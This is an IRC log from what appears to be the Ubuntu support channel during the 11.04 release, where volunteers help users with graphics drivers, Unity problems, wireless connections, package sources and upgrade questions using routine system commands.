[15:40] <Rockj> emj: s/vlc/vnc/ ;)
[15:40] <bulk12> Oh, well.
[15:40] <Dr_Willis> !fisn | bulk12
[15:40] <FloodBot3> bulk12: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[15:40] <terry> Linuxfav: Do you think that bypassing the proprietary driver will help?
[15:40] <siebo> here's the whole error output: http://pastie.org/1850658
[15:40] <raven_> FileDates to EXIF: need to write exif dates by using the last-modified-date - how?
[15:40] <LjL> bulk12: please don't
[15:40] <Dr_Willis> !fishing | bulk12
[15:40] <ubottu> bulk12: Please investigate with me only with "/msg ubottu Bot" or in #ubuntu-bots.  Search for factoids with "/msg ubottu !search factoid".
[15:40] <emj> Rockj: :-) That doesn't make things easier. (but indeed vlc does need a GUI)
[15:41] <bulk12> k guys All is fine
[15:41] <HTCPX> Should I enable hyperthreading or not?
[15:41] <Linuxfav> <terry>i dont know....those drivers worked perfectly well before
[15:41] <bulk12> I didn't break anything. keep up the good work
[15:41] <kornicameister> anyone with scilab expierence here ?
[15:41] <terry> Linuxfav: sudo mv /etc/X11/xorg.conf /etc/X11/xorg.conf.bak   #Will bypass it.
[15:41] <ranger03> 15 icons on the right menu bar is nowhere near enough functionality for linux power users. I need more virtual windows, or customize Unity, or Ubuntu 11.04 will be reformatted off my system.
[15:41] <enrylinux> qualcuno parla italiano
[15:42] <terry> Linuxfav: And will put you back on the open-source driver.
[15:42] <oneliner_> swel! thing thing is totally surrealistic
[15:42] <tjiggi_fo> !it | enrylinux
[15:42] <ubottu> enrylinux: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[15:42] <siebo> nm, just needed to do an apt-get update...
[15:42] <some_dude1234> I just upgraded from ubuntu 10.10 to 11.04 and surprise surprise, the most important thing stopped working (wireless). I have an Intellinet USB Adapter for the wlan. It worked fine in 10.10 and also here in 11.04. Networkmanager does show me the ESSID's around but I cannot connect to my WPA/PSK encrypted accesspoint. Any hints or further information needed, I would appreciate your help. Thank you
[15:42] <Rockj> emj: GUI for setting up vnc server? If your using gnome your finding that under system - preferences - remote desktop  (that should be vnc I think)
[15:42] <Dr_Willis> raven_:  perhaps this can do that.. (it seems to do the reverse from its description) --> renrot - Rename and rotate files according to EXIF tags
[15:42] <Rockj> emj: if your looking for a GUI client for VNC, try  apt-get install xvnc4viewer
[15:42] <PalinBachman2012> im getting 404's trying to install some programs
[15:42] <Linuxfav> <terry>and if that does not worked....how i revert back....just copy it back to where it was?
[15:43] <Rockj> emj: anyhow, what was the issue and I'll try to help more directly to your problem.  :)
[15:43] <Dr_Willis> raven_:  also pyrenamer is a bulk rname tool. it comes up when i search for exif, it may have some features
[15:43] <warp_> Hi everybody
[15:43] <puckipedia> Hi
[15:43] <lcb> emj, my 2 tokens; TeamViewer (graphical) or putty + ssh (CLI)
[15:43] <dynoboyz> hi
[15:43] <terry> some_dude1234: Turn off encryption on the router and try it.
[15:43] <oneliner_> i would like to try to get to a proper visual configuration for a multi monitor display, i think the first thing is ; compiz complains there is already a window manager running for the display set "0.0" i wonder: how can i know which manager that is?
[15:43] <Rockj> lcb: agree, TeamViewer is such a breeze to use.
[15:43] <iandi> pfifo: check here for error http://twitpic.com/4rgyk1
[15:44] <puckipedia> How can you close a window in irssi?
[15:44] <raven_> Dr_Willis,  possible but i cannot find the option to read out the last-modified dates
[15:44] <muneeb> hi..  i'm having problem with minimize maximize buttons.. they don't glow when i hover over them.. any help??
[15:44] <silvery> hi, how can I upgrade 10.10 to 11.04 (both 32x) using alternate CD?
[15:44] <terry> puckipedia: /leave
[15:44] <lcb> Rockj, yeap, with the advantage of being used from everywhere
[15:44] <puckipedia> thanks
[15:44] <terry> puckipedia: If it is a pm   /q
[15:44] <ouyes> sorry to ask again, after a lot of search via google and ubuntuforums, I still cannot find a version suitable for my laptop thinkpad x201, should I get 10.04 and make a lot of configurations myself during the installation?
[15:44] <puckipedia> k
[15:44] <Stereocaulon_> muneeb, which GPU do you have?
[15:44] <Rockj> lcb: mhm, and it runs on "any" OS. (at least the most common ones ;))
[15:44] <Dr_Willis> raven_:  if you can find a command to change the tags from the command line. You could write a script to read the file name, and parse the name and set the exif info. I dont see any exif writeing tools in my quick looking at the package manager.
[15:45] <lcb> Rockj, :)
[15:45] <pfifo> iandi, the actual error is not on that screen, use 'dmesg|less'
[15:45] <Dr_Willis> raven_:  theres patch - that may do it.. it seems to do a lot.
[15:45] <raven_> Dr_Willis, how to read out the dates by cmd?
[15:46] <Bonnie> t
[15:46] <raven_> Dr_Willis, which patch?
[15:46] <Dr_Willis> raven_:  you make a script that does somthing for each file. and have the script parse the filename and extract the date.
[15:46] <Dr_Willis> !info patch
[15:46] <ubottu> patch (source: patch): Apply a diff file to an original. In component main, is optional. Version 2.6-3 (natty), package size 119 kB, installed size 244 kB
[15:46] <muneeb> Stereocaulon_,  ATI Readon
[15:46] <Dr_Willis> !info phatch
[15:46] <ubottu> phatch (source: phatch): simple to use Photo Batch Processor - GUI. In component universe, is optional. Version 0.2.7.1-1 (natty), package size 217 kB, installed size 812 kB
[15:46] <warp_> well, I was trying to upgrade ubuntu from 10.10 to 11.04 version when my laptop was turned off, cause battery failure... and now I need to resume the upgrade. How can I do that?
[15:46] <Dr_Willis> pHatch :)
[15:46] <iandi> pfifo: where do i type that? in busybox?
[15:46] <Linuxfav> terry:will the open source driver be as efficient as the proprietary one....do i have to install it?
[15:46] <muneeb> Stereocaulon_,  i think it's ATI 4200
[15:46] <pfifo> iandi, yes
[15:46] <Dr_Willis> warp_:  eww..  that could be bad.
[15:47] <santi> I'd like to add my IPv6 Tunnel from HE with this command: "ifconfig sit0 inet6 tunnel ::216.66.84.46", and I get as answer only: "SIOCSIFDSTADDR: Kein Hauptspeicher für den Puffer verfügbar" - Ubuntu 11.04. Thank you!
[15:47] <emj> Time like this I really dislike 3G connections.. :-( VNC is slooooow.
[15:48] <iandi> pfifo: what is that letter or symbol after dmesg
[15:48] <muneeb> Stereocaulon_,  i switched to classic when Unity didnt work.. resetting unity was taking lot of time so i switched to classic
[15:48] <puckipedia> a pipe
[15:48] <pfifo> iandi, what filesystem is ont he USB and how did you prepeare it?
[15:48] <iandi> pfifo: startup disk creator
[15:48] <pfifo> iandi, its a vertical bar, above the \ key on us qwerty
[15:49] <Stereocaulon_> muneeb, the fact that Unity does not work, means that you are using GPU drivers which are not optimal for your GPU
[15:49] <pfifo> iandi, fat32 filesystem then i presume?
[15:49] <Linuxfav> terry:can u tell me what's the problem...i checked the nvidia website...my graphics card is supported with this driver version
[15:49] <iandi> pfifo: i have swedish keyboard but console is using english i think, makes it hard to know what to press
[15:49] <iandi> pfifo: yes, fat32
[15:50] <iandi> pfifo: i've also tried universal usb installer from windows
[15:50] <Stereocaulon_> muneeb, I'm also on Classic BTW, but with an nVidia 9600 LT
[15:50] <puckipedia> iandi:if you can find the backslash, you could use pipe (shift+\)
[15:50] <pfifo> iandi, screenshot `fdisk -l` if it runs properly
[15:50] <muneeb> Stereocaulon_,  Unity did work but i screwed it up... and it's not getting reset
[15:51] <Stereocaulon_> muneeb, ah, I switched from Unity back to classic after a first glimpse at Unity.
[15:51] <DerpNauce> When I use "sudo pkill tor" in the terminal, the Indicator Applet and Indicator Applet Session stop working and have to be reloaded.  Is this to be expected from pkill?
[15:51] <HTCPX> does ubuntu support hyperthreading?
[15:51] <glda19> who can help me with dis
[15:51] <pfifo> DerpNauce, yes
[15:51] <glda19> Couldn't verify Cert: Peer's certificate issuer has been marked as not trusted by the use
[15:52] <DerpNauce> pfifo: Will this happen every time I use pkill?  Is there a way to make it not kill the indicator applet family?
[15:52] <Rockj> HTCPX: yes. Run up a task maanger and you'll see you got extra cores.
[15:52] <pfifo> DerpNauce, use `kilall tor`
[15:52] <pfifo> DerpNauce, use `killall tor`
[15:52] <DerpNauce> hm, I guess I need to find out what pkill does
[15:52] <Rockj> HTCPX: all linux distros support it aslong as they have a kernel that compiled support for it (which is pretty common now a days ;))
[15:52] <DerpNauce> OH
[15:52] <glda19> Couldn't verify Cert: Peer's certificate issuer has been marked as not trusted by the use
[15:52] <DerpNauce> indicaTOR
[15:52] <pfifo> DerpNauce, its caue indacator has 'tor' in it
[15:52] <Stereocaulon_> DerpNauce, right!
[15:53] <HTCPX> rockj do you know if its worth enabling on a p4 northwind?
[15:53] <DerpNauce> thank you u_u
[15:53] <muneeb> Stereocaulon_, well unity wasnt working until i installed proprietary  drivers then it worked then i played in compiz and all got screwed.. so i'm trying to reset it and it's not working :( even classic got screwed :(
[15:53] <Tecan> does quicklounge applets work for anyone with 11.04 ?
[15:53] <oneliner_> how to reconfigure window manager?
[15:53] <oneliner_> from terminal :)
[15:53] <Linuxfav> terry:r u there?
[15:53] <Linuxfav> upon installing drivers for my graphics card....i can not boot into unity ...nor into ubuntu clssic session....can anybody help?
[15:54] <Stereocaulon_> muneeb, check the answers that oneliner__ will get as they could help you.
[15:54] <DerpNauce> Noob question, how do I find out the name of a pid?  I typed "pgrep tor" and it gave me a bunch of 4-digit numbers, not sure how to get process names from them
[15:54] <Rockj> HTCPX: there's a lot of debate on how efficient hyperthreading is, for multitasking and normal software usage I would say yes. For gaming on windows, it actually might be ther other way around. (at least from the last time I read up on it)
[15:54] <puckipedia> oneliner_:ctrl+alt+f2, login and type "compiz --replace &" and press ctrl+alt+f7 or f8
[15:54] <Stereocaulon_> muneeb, please try the following to restore unity: sudo dpg-reconfigure unity
[15:54] <meisth0th> DerpNauce, ps aux|grep <pid>|grep -v grep
[15:54] <DerpNauce> thanks meisth0th
[15:54] <Stereocaulon_> muneeb, Correction, please try the following to restore unity: sudo dpkg-reconfigure unity
[15:54] <meisth0th> DerpNauce, you're welcome
[15:55] <Linuxfav> upon installing drivers for my graphics card....i can not boot into unity ...nor into ubuntu clssic session....can anybody help?
[15:55] <Rockj> HTCPX: but then again, games now a days take more efficient usage of multiple cores so hyperthreading might still be good for gaming in windows. It actually depends on pr game last time I read on it :)
[15:55] <Crazy1> hello everyone
[15:55] <muneeb> Stereocaulon_, ok.. i'll try it
[15:55] <Rockj> HTCPX: anyway, short answer - yes I would enable it :-)
[15:55] <Crazy1> i want ask some question
[15:55] <Crazy1> can anyone help me??
[15:55] <Stereocaulon_> Crazy1, go ahead and ask your question
[15:56] <puckipedia> Linuxfav:You could try rebooting your computer, when bios disappears, hold shift. choose recovery and you could repair it from there
[15:56] <meisth0th> actually you already asked one question :)
[15:56] <Crazy1> \b(?<Word>\w+)\b\s+\k<Word>\b
[15:56] <Sidewinder1> glda19, I had that happen once. The battery was dead in a computer that sat unplugged for weeks and the current date was, like, 8 years ago...
[15:56] <camarllon> meisth0th: its true (Y)
[15:56] <bazhang> Crazy1, rephrase
[15:56] <Crazy1> did anyone know what this means
[15:56] <Crazy1> \b(?<Word>\w+)\b\s+\k<Word>\b
[15:56] <Linuxfav> <puckipedia>repair it....why...
[15:57] <Stereocaulon_> Crazy1, try a tutorial about regular expressions
[15:57] <Sidewinder1> glda19, Reset the date and all was A-OK; Not saying that that's your problem, but...
[15:57] <camarllon> Crazy1: it is a regular expression...
[15:57] <ibeekman> wow the UI in Natty got all kinds of messed up
[15:57] <glda19> Sidewinder1, what did you mean
[15:58] <puckipedia> Linuxfav:go to root console, and type "sudo dpkg-reconfigure -phigh xserver-xorg"
[15:58] <puckipedia> Linuxfav:Correction: "dpkg-reconfigure -phigh xserver-xorg" in root console
[15:58] <kwtm> Crazy1: It is a regex that describes a pattern to look for in text.  It means:  a word (meaning consecutive letters or numbers), followed by some whitespace (space, tabs, etc.), followed by that same word
[15:58] <ToxinPowe> Anyone can tell me where is "save session" in the new 11.04?
[15:58] <ibeekman> on my Docked IBM T60 with second monitor The Unity launcher doesn't work
[15:58] <Sidewinder1> glda19, Please see above two ^^
[15:59] <Linuxfav> <puckipedia>what will that command do?...will it fix it..?
[15:59] <MNichie> ibeekman: sudo apt-get install gnome-desktop-environment, unity has problems
[15:59] <Crazy1> kwtm: can you give me an example?
[15:59] <ibeekman> and, while the new scroll bars are awesome, they only work 50% of the time for me
[15:59] <puckipedia> Linuxfav:What graphics card do you have?
[15:59] <kwtm> Crazy1: So, if your text contained   "This is a frog frog." then the "frog frog" part would match.
[15:59] <Linuxfav> terry:I have done the unity support test and it says unity is supported.....my graphics card is>>>02:00.0 VGA compatible controller: nVidia Corporation G72 [GeForce 7300 SE/7200 GS] (rev a1)
[15:59] <ibeekman> yeah I'm back on classic, still having some issues here and there
[15:59] <krad> i have: deb http://archive.ubuntu.com/ubuntu maverick main, deb http://security.ubuntu.com/ubuntu maverick-security main, what to add more?  i want to install rcconf
[15:59] <Crazy1> kwtm: i tried like this 123 123,but it didn't work
[16:00] <oneliner_> puckipedia:  failed to replace with & param, param not recognized
[16:00] <Linuxfav> <puckipedia>02:00.0 VGA compatible controller: nVidia Corporation G72 [GeForce 7300 SE/7200 GS] (rev a1)
[16:00] <kwtm> Crazy1: If your text contained "This is a bullfrog frog" then it would not match because it takes the entire bullfrog word.
[16:00] <Crazy1> kwtm: let me try it
[16:00] <ibeekman> I love this channel because it's always jumpin
[16:00] <oneliner_> how can i restart xorg from command line?
[16:00] <muneeb> Stereocaulon_,  whoa!!! that did the trick.. i was struggling for it since morning.. sudo dpkg-reconfigure unity... thanks a lot
[16:00] <Dr_Willis> oneliner_:  sudo service gdm restart
[16:00] <kwtm> Crazy1: If you "tried 123 123" then you already know that this is a regular expression.
[16:00] <MNichie> If I wanted to use a mac, I would.  No reason to use a buggy rip off of os x
[16:00] <kwtm> Crazy1: In that case, you should ask at #regex or ##regex.
[16:01] <Nighthwk> Can anyone tell me a good ftp client for ubuntu?
[16:01] <oneliner_> Dr_Willis: cheers
[16:01] <MNichie> Nighthwk: gftp
[16:01] <Dr_Willis> Nighthwk:  the file manager can do ftp
[16:01] <muneeb> Stereocaulon_, now the min max button also started glowing when i hover!!
[16:01] <ibeekman> Nighthwk: I like FileZilla
[16:01] <puckipedia> Linuxfav:goto recovery console and type that command, choose nv and if the first dialog after that does not have your cardname, type it in caps, and just press enter after that
[16:01] <Crazy1> kwtm: i am learning the   regular expression now
[16:01] <Stereocaulon_> muneeb, sudo dpkg-reconfigure <package> works for a lot of packages if you run into troubles with them. That's how I fixed my initially failed upgrade from 10.10. Glad to be able to help you :-)
[16:02] <ibeekman> or you can always use the command line
[16:02] <kwtm> Crazy1: It is not related to ubuntu.
[16:02] <Crazy1> kwtm: ok..
[16:02] <ibeekman> Is it always this busy in here or is the frenetic pace of conversation due to the recent release of Natty?
[16:02] <krad> what sources should i have in sources.lst
[16:02] <Stereocaulon_> Crazy1, try joining #regex
[16:02] <Crazy1> kwtm: i went to #regexask for help
[16:03] <Linuxfav> <puckipedia>how to get to the recovery console?
[16:03] <Dr_Willis> ibeekman:  ive seen it more full in here. :)
[16:03] <compdoc> always this busy
[16:03]  * ibeekman waves at all the people
[16:03] <Stereocaulon_> I just love freenode, they have a channel for almost any OpenSource project
[16:03]  * ibeekman thinks it is quite loud in here
[16:03] <compdoc> this channel is unlike #centos, where they dont like ppl to help each other
[16:03] <muneeb> Stereocaulon_, well i had tried sudo dpkg --configure -a but i didnt help... i learned a new command today dpkg-reconfigure!!
[16:04] <ibeekman> good ol cent
[16:04] <ibeekman> they have RHEL 6 yet?
[16:04] <compdoc> no
[16:04] <compdoc> soon
[16:04] <SomeDude1234> Anyone else having wireless accesspoint-connection issues with WPA after the upgrade to ubuntu 11.10? I can see the ESSID's around but cannot connect to my WPA/PSK encrypted AP
[16:04] <krad> what sources should i have in sources.lst
[16:04] <ibeekman> RHEL 5 is so old
[16:04] <ibeekman> but damn is it stable
[16:04] <krad> sources.list*
[16:04] <compdoc> Im switching all my servers to ubuntu - good bye centos
[16:05] <astory> I'm getting 404s from archive.ubuntu.com
[16:05] <lcb> compdoc, nice move
[16:05] <terry> krad: 9.04?
[16:05] <ibeekman> should i try out KDE? My gnome session and Unity sessions are quite buggy?
[16:05] <jrib> astory: sudo apt-get update
[16:05] <Stereocaulon_> muneeb, I just learned it from a book teaching me LPIC level 1
[16:05] <astory> jrib: that's throwing the 404s
[16:05] <tatzenblogde> i changed to kde
[16:05] <krad> terry, 10.10 now
[16:05] <astory> W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/natty-updates/universe/source/Sources  404  Not Found [IP: 91.189.92.176 80]
[16:05] <Nighthwk> Can anyone tell me a good ftp client for ubuntu that has auth tsl
[16:05] <krad> terry, and i only have 2 sources ..
[16:05] <compdoc> lcb, hope it works out for the best
[16:06] <tatzenblogde> filezilla
[16:06] <jrib> astory: choose a local mirror
[16:06] <ibeekman> on RHEL 5 I used KDE, then I tried KDE on Ubuntu right when 4.0 dropped and ran back to gnome
[16:06] <iceroot> Nighthwk: ftps
[16:06] <terry> krad: You can add soruces via synaptic
[16:06] <Nighthwk> thanks
[16:06] <astory> jrib: I'll look for a tutorial, thanks
[16:06] <lcb> compdoc, it depends the servers you install. you might need some nail typing...
[16:06] <tatzenblogde> ibeekman why? kde is good integradet in ubuntu (i know only 11.04)
[16:06] <krad> terry, im doing this through console
[16:06] <ibeekman> but I bet it's stable now
[16:06] <jrib> astory: it was System → Administration → Software Sources at least once in the past
[16:06] <emj> Rockj, + who ever: apparently x11vnc didn't work since vino-server was already running.
[16:07] <ibeekman> I like the customization options and Dolphin
[16:07] <astory> jrib: I'm configuring a custom ISO so I only have command line
[16:07] <emj> worked like a charm
[16:07] <hobbel> Is there a way to speed up the unity launcherbar appearance animation? Its to slow for me..
[16:07] <compdoc> just rsync, samba, and guests running in qemu-kvm
[16:07] <terry> krad: System -> Adminstration -> Software Sources
[16:07]  * emj leaves 
[16:07] <jrib> astory: ok, edit /etc/apt/sources.list
[16:07] <ibeekman> but desktop widgets get on my nerves
[16:07] <Linuxfav> <puckipedia>hey i have executed the command in terminal as root...but no dialog
[16:07] <tatzenblogde> hobbel, unity 2d or 3d?
[16:07] <jrib> !mirrors | astory
[16:07] <ubottu> astory: Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[16:07] <krad> terry, this is a remote server and not my desktop .. no gui .. only command line
[16:07] <ibeekman> too shiny
[16:07] <hobbel> tatzenblogde 3d
[16:07] <oneliner> Dr_Willis:  the gdm service crashed and burned and rolled in mud till all there was is pain
[16:07] <tatzenblogde> hobbel,use the cssm (compiz configuration manager) for the options
[16:08] <SomeDude1234> Help: I cannot connect to my Wlan AP (WPA/PSK encrypted) any longer since 11.10 (formerly 10.10). Networkmanager just after a certain timeout of connection trial stops. It worked in 10.10.
[16:08] <hobbel> tatzenblogde ah thanks, i hope its in there :)
[16:08] <tatzenblogde> :-)
[16:08] <terry> krad: Oh ok. pastebinit /etc/apt/soruces.list  and we'll have a look.
[16:08] <Jonii2> hey, I'm using ubuntu studio and I just updated to 11.04.  Now when i boot up, it tells me me hardware isn't up to date enough to use unity, witch is a joke in itself.  Then, it makes sure i don't have a mouse and i can't use the keyboard to get past the error message.  As soon as i boot, it gives me an error message with no way to get out of it.  can anybody help me or is my comp foobared...
[16:08] <Jonii2> ...yet again?
[16:08] <cmalo> hello; anyone have issues when upgrading it allows me to login but errors and locks up
[16:08] <Linuxfav> upon installing drivers for my graphics card....i can not boot into unity ...nor into ubuntu clssic session....can anybody help?
[16:09] <Dr_Willis> Jonii2:  make sure yu got the proper video drivers installed.
[16:09] <krad> terry, it only has 2 records: deb http://archive.ubuntu.com/ubuntu maverick main, deb http://security.ubuntu.com/ubuntu maverick-security main
[16:09] <kaddi>  hi, i'm trying to revive an old install on a laptop... It was working a week ago, it has issues with the bios battery so I get frequent complaints of mismatching timestamps (not now though). It boots right into recovery console and when I do a startx in there, I get mktemp: failed to create file via template '/tmp/serverauth.XXXXXXXXXXXXXX': read-only file system so it seems to me that i'm looking at a permission issue, however I don't know how to
[16:09] <kaddi> resolve it.. any tips?
[16:09] <tatzenblogde> ibeekman, i deactivated widgets on my kde... only a folder view :D dolphin is the default filemanager in kubuntu.. i switched 2 days ago
[16:09]  * Mud stabs oneliner in the face
[16:09] <Dr_Willis> Jonii2:  ive also had issues with some usb things not working Untill i unplug/pluyg them back in
[16:09] <Jonii2> Dr_Willis: well the drivers were installed fine just before i upgraded.... now it doesn't matter as i can't get in
[16:09] <Dr_Willis> Jonii2:  use the console and check.
[16:09] <ibeekman> man no scroll bar in Empathy under 11.04
[16:09] <luisgmarine> Hello anyone here tried installing ubuntu 11.04 on macbook pro 5,3?  I'm getting a blinking cursor and REEFIT doesn't seem to install
[16:09] <ibeekman> (Ubuntu classic)
[16:09] <astory> jrib: that fixed it, thanks :D
[16:09] <Jonii2> Dr_Willis: how am i supposed to do that? it never gives me a chance to boot to the console
[16:10] <cmalo> can I revert back from 11.04?
[16:10] <ibeekman> and the window docking is all kinds of messed up
[16:10] <compdoc> doubtful
[16:10] <compdoc> cmalo, why do you want to
[16:10] <tatzenblogde> Jonii2, switch to therecoeryconsole
[16:10] <kk9822> hi
[16:10] <Jonii2> Dr_Willis: ok, i'll do that. what do i type in to fix it though? I'm new to linux
[16:10] <tatzenblogde> god damn it - my space-key is ill...
[16:10] <kk9822> i need some help i m stuck
[16:10] <cmalo> comdoc: I upgraded and now I get to the login; able to login but after that getting erros about Natalus
[16:11] <tatzenblogde> kk9822, lets hear :-)
[16:11] <krad> terry, what sources do i need to add so that i can install say svn,rcconf etc
[16:11] <kk9822> i upgraded 10.10 to 11.04  i m not getting menu but
[16:11] <ibeekman> kk9822: have you tride some lubricant?
[16:11] <kk9822> it goes to terminal mode
[16:11] <cmalo> comdoc: doesn't go anyfurther after that
[16:11] <ibeekman> oooh fun!
[16:11] <Dr_Willis> Jonii2:  you could unplug/lug the usb things at the login screen and they may start working
[16:11] <kk9822> no
[16:11] <Linuxfav> upon installing drivers for my graphics card....i can not boot into unity ...nor into ubuntu clssic session....can anybody help?
[16:12] <Jonii2> Dr_Willis: alright i'll try that be back in a few
[16:12] <pbandcheezwhiz> Question.  I run a dual monitor setup, and just upgrade to Natty.  I really like the ability to shade windows. Now when windows are screen I am unable to shade windows like I used to.  Is that 'just the way it is' or is there something I can do about that?
[16:13] <Stereocaulon_> Is there a nice program available to edit the Gnome2 menu? The Main Menu editor slab is quite awkward to operate
[16:13] <kk9822> pl give the web add for downloading laptop ver of ubuntu 11.04
[16:13] <ibeekman> theres no /part command?
[16:13] <mikinanuq> Linuxfav: does it hang on boot?
[16:13] <ibeekman> okay later peeps
[16:13] <lcb> pbandcheezwhiz, there are some known issues with duals. probably better starting with default drivers and then test again with proprietary ones
[16:13] <cmalo> what about mouse not even working ><
[16:14] <terry> krad: just  a sec
[16:14] <Linuxfav> <mikinanuq>after selecting unity....the desktop shows up...but unresponsive
[16:14] <wabznasm> Anyone aware of any issue with Transmission icon not showing in systray on 11.04.  Already setcom.canonical.Unity.Panel systray-whitelist ['all']
[16:14] <blit> hi i've installed 11.04. how do i find programs grouped by categories (ex. "games") in the new unity ui? thanks
[16:14] <htcrwn148> hey guys does anyone know if i upgrade to the ubuntu11.04 would i lose everything on my pc?
[16:14] <cmalo> prob so
[16:14] <bafilius> blit: right click on the plus
[16:14] <santiago> hi...
[16:15] <pbandcheezwhiz> everything seems to be working correctly using the nvidia 270 driver.  Its just the full screen with the way they went to the Mac style menus on the bar ya know?
[16:15] <kk9822> hi
[16:15] <mikinanuq> Linuxfav: maybe reset your profile...
[16:15] <VCoolio> htcrwn148: depends if you have /home or whatever date on a separate partition; if not, it'll be wiped out
[16:15] <semitones_dj> zsync from the main mirror didn't work -- are there mirrors that have zsync?
[16:15] <Bookman> I just upgraded from 10.04 to 10.10 and now my ATI Xpress200 video card is not working in 3D.  The Additional Drivers does not show anything as being available.
[16:15] <mikinanuq> Linuxfav: at least get it back to default
[16:15] <bafilius> htcrwn148: only if the install goes buggy like mine did
[16:16] <wabznasm> htcrwn18: updated from 10.10 to 11.04 yesterday with no real probelms. Just some little bugs
[16:16] <Linuxfav> <mikinanuq>but i dont think unity will work without the driver at all
[16:16] <Kevin147> htcrwn148: I recommend backing up your stuff, just in case
[16:16] <htcrwn148> so i should back up everything...
[16:16] <pbandcheezwhiz> if windows are not in full screen, i can shade properly.
[16:16] <htcrwn148> thanks
[16:16] <Kevin147> np
[16:16] <lcb> htcrwn148, no but backup /home first. then ' sudo -i ' and  ' apt-get update && sudo apt-get upgrade && sudo apt-get -f install && apt-get check && apt-get autoremove && reboot
[16:16] <blit> thanks.
[16:16] <bafilius> always backup everything
[16:16] <pbandcheezwhiz> i lived on the edge, didn't backup anything, and upgraded.  no issues really.
[16:16] <mikinanuq> Linuxfav: when you install a driver it's system wide, not just your profile.
[16:16] <lcb> htcrwn148, remove those ' sudo 's in the middle
[16:17] <wabznasm> htcrwn148: I just followed Canonical's instructions on ubuntu site and used update manager. No problems, though maybe cli has some benefits
[16:17] <Linuxfav> <mikinanuq>in jockey there is a entry for experimental driver...should i install that?
[16:17] <lcb> wabznasm, needs to update the system first...
[16:17] <wabznasm> lcb: yes, as in instructions on ubuntu main sute
[16:17] <bafilius> there should be no problems but for me it wouldn't boot after update
[16:18] <blit> also... i've installed 11.04 beta2 10 days ago. should i reinstall the "official" 11.04 or keeping upgrading will suffice?
[16:18] <lcb> wabznasm, yes... and fix the system too, just in case
[16:18] <jonii2> hey thanks so much Dr_Willis I got in to ubuntu now.
[16:18] <santiago> I have a question, after reading the feed for a few minutes... does everybody like Unity, or what?
[16:19] <lcb> blit, it upgrades normally, no need of commands or whatever
[16:19] <jonii2> but still, i don't get why it thinks i can't use unity
[16:19] <Kevin147> !ot | santiago
[16:19] <ubottu> santiago: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[16:19] <wabznasm> santiago: still deciding :)
[16:19] <maxsaniel> join #ubuntu-br
[16:19] <kaddi> k, my issue was resolved with a fsck... /tmp had a timestamp from october this year and system time was only april this year
[16:19] <jonii2> I have the nvidia drivers for my graphics card... and i could run unity without a problem, but ubuntu once again has decided that its smarter than me. any help?
[16:19] <compdoc> santiago, I tried to - but never did
[16:19] <zzecool> anybody know why the compiz "place windows" plugin doesn't work with adobe air applications? i set a rule for tweetdeck to always appear in a certain viewport but it always opens in my current viewport. any ideas?
[16:19] <Glycan_> Hello.
[16:20] <Glycan_> Where is terminal on 11.4?
[16:20] <zzecool> Glycan_,  press windows key and type terminal
[16:20] <terry> krad: lsb_release -a   #Does that say 10.10?
[16:20] <blit> lcb: u've misundestood, i was asking if having first  installed the beta will give me problems in the long run
[16:21] <blit> Glycan_: control + alt + t
[16:21] <Ubuntu_user> Hi i just installed a .sh file, from where can i run it? I am new to ubuntu.
[16:21] <Glycan_> Thanks.
[16:21] <eks> i just tried both dvd and cd for kubuntu and they both give a wall of text while booting from the usb stick (after I select start kubuntu). really a wall of text, whitout even new lines between errors. any ideas why?
[16:21] <mikinanuq>  Linuxfav I'm not sure about jockey driver.
[16:22] <lcb> blit, no. unless you dad major problems in meanwhile. but the updates are processed normally until you get the full system as 11.04 final
[16:22] <lcb> blit, dad/had
[16:22] <ibeekman> Does anybody have any thoughts on resizing an encrypted /home partition?
[16:23] <phoebe212> has anyone tried out IOS on Linux? is there any IOU LiveCD based on Ubuntu to tes
[16:23] <Dr_Willis> ibeekman:  make backups first.
[16:23] <lcb> ibeekman, i don't use it, but gparted doesn't do it?
[16:24] <bc81> i'm reluctant to upgrade to 11.04...the last 3 times i upgraded through the update manager, i ended up having to reinstall completely.
[16:24] <cebrian> hi
[16:24] <bc81> does anyone have upgrade success stories?
[16:24] <Belial`> i did
[16:24] <cebrian> im having problems with the freeze of the Unity
[16:24] <lcb> bc81, me 2
[16:24] <cebrian> after upgrading to 11.04
[16:24] <wabznasm> bc81: yeah - 10.10 to 11.04 with minor niggled
[16:24] <wabznasm> bc81: yeah - 10.10 to 11.04 with minor niggles
[16:24] <cebrian> i cant even change to classic
[16:24] <Belial`> bc81, mine upgraded ok, but i felt it could have been a bit faster.
[16:24] <jonii2> bc81, I'm probably going to end up reinstalling
[16:24] <cebrian> any way to do it from console
[16:24] <cebrian> ?
[16:24] <HRT> Hi, please someone helps me with installing ATI Radeon HD 5470 on Ubuntu 11.04? I can't install it properly
[16:24] <lcb> bc81, some issues with graphics but in time would be resolved
[16:25] <quellhorst> what app lets me change the kernel i boot up with? i jsut added a kvm kernel but its defaulting to boot the old kernel
[16:25] <jonii2> Why is ubuntu telling me that my hardware isn't good enough to use unity, even when i have great specs and graphics drivers installed?p
[16:25] <blit> lcb: so (having just upgraded packages) i'm the same of a new install, right?
[16:25] <jonii2> I know i can run it, but ubuntu has decided its smarter than me yet again
[16:25] <lcb> quellhorst, SHIFT before grub loads
[16:25] <compdoc> bc81, I upgraded a couple of systems from 10.10 to 11.04 beta 1 and beta 2 without issues, but they were fresh installs of 10.01
[16:25] <compdoc> 10.10
[16:25] <bc81> ok, thanks for the feedback, folks.  i'll probably just reinstall from cd, to avoid the pitfalls
[16:26] <bison> question: why is it that i can't view the video in full screen in firefox under ubuntu 10.10
[16:26] <MadRobot_> Hi all
[16:26] <quellhorst> lcb: the delay is too short, my monitor goes into power save mode.
[16:26] <Ubuntu_user> Hi i just installed a .sh file, from where can i run it? I am new to ubuntu.
[16:26] <terry> bison: Prbably need flashplugin upgrade
[16:26] <lcb> blit, yes, that's how i'm running now. dist-upgrade or the commands used before don't work, as you can see. i mean they work but don't produce anything, saying the system is up-to-date
[16:26] <arand_> Ubuntu_user: "Installed" How?
